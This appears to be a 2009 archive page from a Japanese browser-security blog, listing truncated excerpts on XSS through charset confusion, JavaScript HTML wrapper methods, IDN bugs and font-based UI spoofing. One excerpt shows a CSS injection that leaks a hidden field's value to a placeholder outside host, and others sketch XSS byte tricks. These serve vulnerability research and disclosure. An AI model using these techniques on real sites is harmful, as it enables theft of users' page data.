2009-01-01から1年間の記事一覧

HTMLラッパー関数のXSS

JavaScriptのStringオブジェクトのHTMLラッパーメソッドの中には、引数の値をhtmlのタグの属性値として出力するものがあります。 anchor(name) fontcolor(color) fontsize(size) link(href) 多くのブラウザで、これらのメソッドは属性値を何のエスケープもせ…

HTTPヘッダインジェクションを使用したXSSの可能性について考える

恐らく、現時点でMIcrosoftがサポートを継続しているIEでは不可能ですHTMLの属性値として埋め込まれるスクリプト(onXXXX 系のイベントハンドリング用の属性値)は、metaもしくはHTTPヘッダの Content-Script-Type で記述言語を指定する(デフォルトはJavaScrip…

MFSA 2009-25(CVE-2009-1834) の調査で明らかになったこと

バグの詳細が公開されているのでもう書いてもいいでしょう。 FirefoxのIDNの処理で unassigned code point の文字が含まれている部分をpunycode に変換するべきなのに変換せずにそのままにしていたのが主原因 影の犯人はWindowsのフォント。unassigned code …

無限に増殖するJavaScript

自分が新しいブラウザを入手すると必ず試す事の1つに 自己増殖しながら無限に document.write() をするスクリプトを使った メモリ不足時の動作のテストがあります。 (ループではないのが意地の悪い所)docomo の携帯の JavaScript ってこういう意地悪なス…

Cambria Mathフォントを使用したUI偽装

Office製品(又はPower Point Viewer)に付属する数学記号フォントのCambtia Mathには、次のような特徴があります。 BMP外のコードポイントの文字(サロゲートペアで表現される文字)のグリフがある 数学記号のグリフが充実している(他のフォントは持っていない…

まっちゃだいふく

自分はもう少しやわらかくなるまで解凍された状態の方が好きなんですよね。 保冷バッグに入れた保冷剤がちょっと多かった。http://d.hatena.ne.jp/Stacy/20091107/1257574124 http://d.hatena.ne.jp/sen-u/20091107/p2

蕎麦

自分は1日目だけですけど、2日目のお昼は半ざる手形で食べ歩きが出来ます。 いろんな蕎麦屋さんの味を試してみたい方はこれでお店を回るのも良いかもしれません。 http://www.s-togakushi.com/soba09/sec04.html

jsstr.cpp 内の Utf8ToOneUcs4Char における、冗長な UTF-8 シーケンスの検出処理の問題(bug 511859)

8月終わり頃から取り組んでいたバグの修正と仕様の変更がTrunkにチェックインされました。 実際には、 JavaScriptのdecodeURI(),decodeURIComponent()が%エンコードされた冗長なUTF-8に対して U+FFFD を返すのではなくURIErrorを投げるようにする(bug51476…

Shift_JISの動的に生成されたJavaScriptをUTF-8として解釈した場合に発生する問題

縺ソ" (Shift_JIS) → E3 81 83 5C 22 → ぃ\" (UTF-8)ということで、Shift_JISの2バイト目の5Cを単独の文字として解釈してしまうので、文字列の終端位置を誤認させることが可能です。 昔からよくあるShift_JISの2バイト目の 5Cの問題と同じことですけど。

冗長なUTF-8の判定のテストケースについて考える

判定が実装されているかどうかの表面的なチェックではなく、判定が正しいかどうかをチェックするには、慎重なテストケースの構成が必要です。とりあえず最低でもこれぐらいは必要でしょうが、まだ足りない気がします(特にパターンマッチングで検出させている…

プラス記号を使わない文字列連結

プラス記号を使わずに文字列を結合する こういう手もありますね。Webブラウザ上で実行していない場合は使用できないかもしれないけど。 decodeURIComponent( encodeURIComponent(strB).link(encodeURIComponent(strA)) .replace("<a href=\"","").replace("<A HREF=\"","") .replace("\">","").replace("<\/A>","").</a>…

いやな文字化け

Content-type ヘッダも meta も HTMLの構文も完全なはずなのに Shift_JIS のHTMLが UTF-8 で表示された。サーバ管理のミスだけど本当にミスが無いと再現しない問題なのか怪しいので後で調べてみる

UI偽装のバグレポートにはスクリーンショットを添付するべき

レポートを書いた本人の見ていた画面と担当者の見ていた画面が違うことが判明するまでにずいぶん時間がかかった。道理で話が合わないはずだ。

J2EE仕様の問題について考える

Windows-31JがUTF-7によるXSSの要因になることはよく知られるようになって来ましたが、依然としてMS932やWindows-31Jが使われるWebアプリケーションは生産され続けています。その原因の1つはJ2EEのサーブレット及びJSPのAPIの仕様の欠陥にあるのではないか…

結局XSS対策に必要なこと

エスケープ 正しいエンコーディング名の明示 応答への不正なバイト列注入の抑止 引用符の省略をしない スクリプトの埋め込みを許可する箇所の動適生成にはさらに別途対策が必要 (style:expressionとか javascript内の文字列の正しいエスケープのあり方とか)…

UTF-8の動的コンテンツをShift_JISと誤認させることで成立するXSS

文字コード指定の無いUTF-8のコンテンツでは、ブラウザ側の文字コード自動認識でシフトJISと誤認させることで、HTMLの特殊文字を一切使わずにXSSが成立する場合があります。 原理 UTF-8 では1文字が3バイトマッピングされる場合があります。そこで、これを…

スタイルシートだけでhiddenタグの内容を部分的に読み取る方法

以下のようなHTMLで hidden のvalueの値が数字2桁であることがすでにわかっている場合、 <input type="hidden" name="aa" value="xx"> <div class="bb"><span>text</span></div>こういうstyle指定を攻撃者が注入できれば、攻撃者がhiddenの内容を読み出すことが出来ます。 input[name="aa"][value^="0"]+div{background:url("http://exampl…

Update failure

いつも bug reportに対する反応が鈍いので blogに trackback送ってみる。 bug-idの桁数から考えると確認が追いついていないだけかもしれないけど。Security update of JavaI cannot update Java on my PC because of HTTP 404.Detail is witten in previous …

アップデートに失敗しても「このシステムはすでに最新...」と表示する問題

WindowsでコントロールパネルのJavaの設定画面からアップデートをしようとすると、実際にはアップデート失敗なのに「最新の状態です」「このシステムはすでに最新...」と表示される場合があります。Sunに出したバグレポートの要旨は以下の通り control panel…

ウイルスバスター2009

http://d.hatena.ne.jp/ripjyr/20090717/1247832147 もしかして <iframe src="file:///C:/Windows/System32"> とか <iframe src="file:///C:/Program%20Files/Trend%20Micro/Virus%20Buster"> って書いたページを開くだけでブラウザが強制終了させられてしまうなんてことはないんでしょうか?</iframe>

冗長なUTF-8で記述された記号とシフトJISの文字列は区別がつかない

E0 80 A2 → UTF-8では冗長な3バイト表現の '"' → Shift_JIS では '烙「'

EV SSLの組織名が省略表示される

先日のエントリ でドメイン名偽装と見間違えたと書いたJPCERTのページですが、Firefox3.5でアクセスすると、組織名が省略表示になってしまいます。 一定の文字数で強制的に省略しているように見えます。Firefox3の表示とどちらがよかったんでしょう? 自分で…

UTF-16の動的コンテンツにおけるXSS

charset指定を明示しない動的なUTF-16のHTMLでは、 動的に生成した部分に1バイトで文字を表現できるエンコーディングで HTMLのタグと認識できるようなバイト列を注入することでXSSが成立する。例:UTF-16(BE,BOMなし)で生成されるレスポンスが <html><head> <title>ユーザー入</title></head></html>…

あとで書く

実は怖いBatangフォント

バグの元

char *filename

ドメイン名偽装と見間違えた

www.jpcert.or.jpの後ろにドメイン名が続いているように見えた。 実際は "/"なんだけど。

EV SSL

同名異企業の見分け方の説明も必要なのではなかろうか。

Safari4のバグ

Windows版の話。Mac版では未確認 IDNAの適用対象が間違っている URLの "http://" とその後の最初の ":" の間の文字列に対してIDNAの変換処理が走る。 http://日本語ユーザー名:80@日本語.jpの様なIDとパスワード付きのURLだと日本語ユーザー名の方が punycod…

もうすぐFirefox3.5リリース

新機能を試す前にリリースになってしまった。

回答

http://d.hatena.ne.jp/hoshikuzu/20090616#p3 ちょっとミスってた。長いのでこちらで。 <script> </script><style> body{background:url(http://[0::1]/style)}</style><script> for (writd_ in {writd:0}){} for (writf_ in {writf:0}){} for (cookid_ in {cookid:0}){} for (cookif_ in {cookif:0}…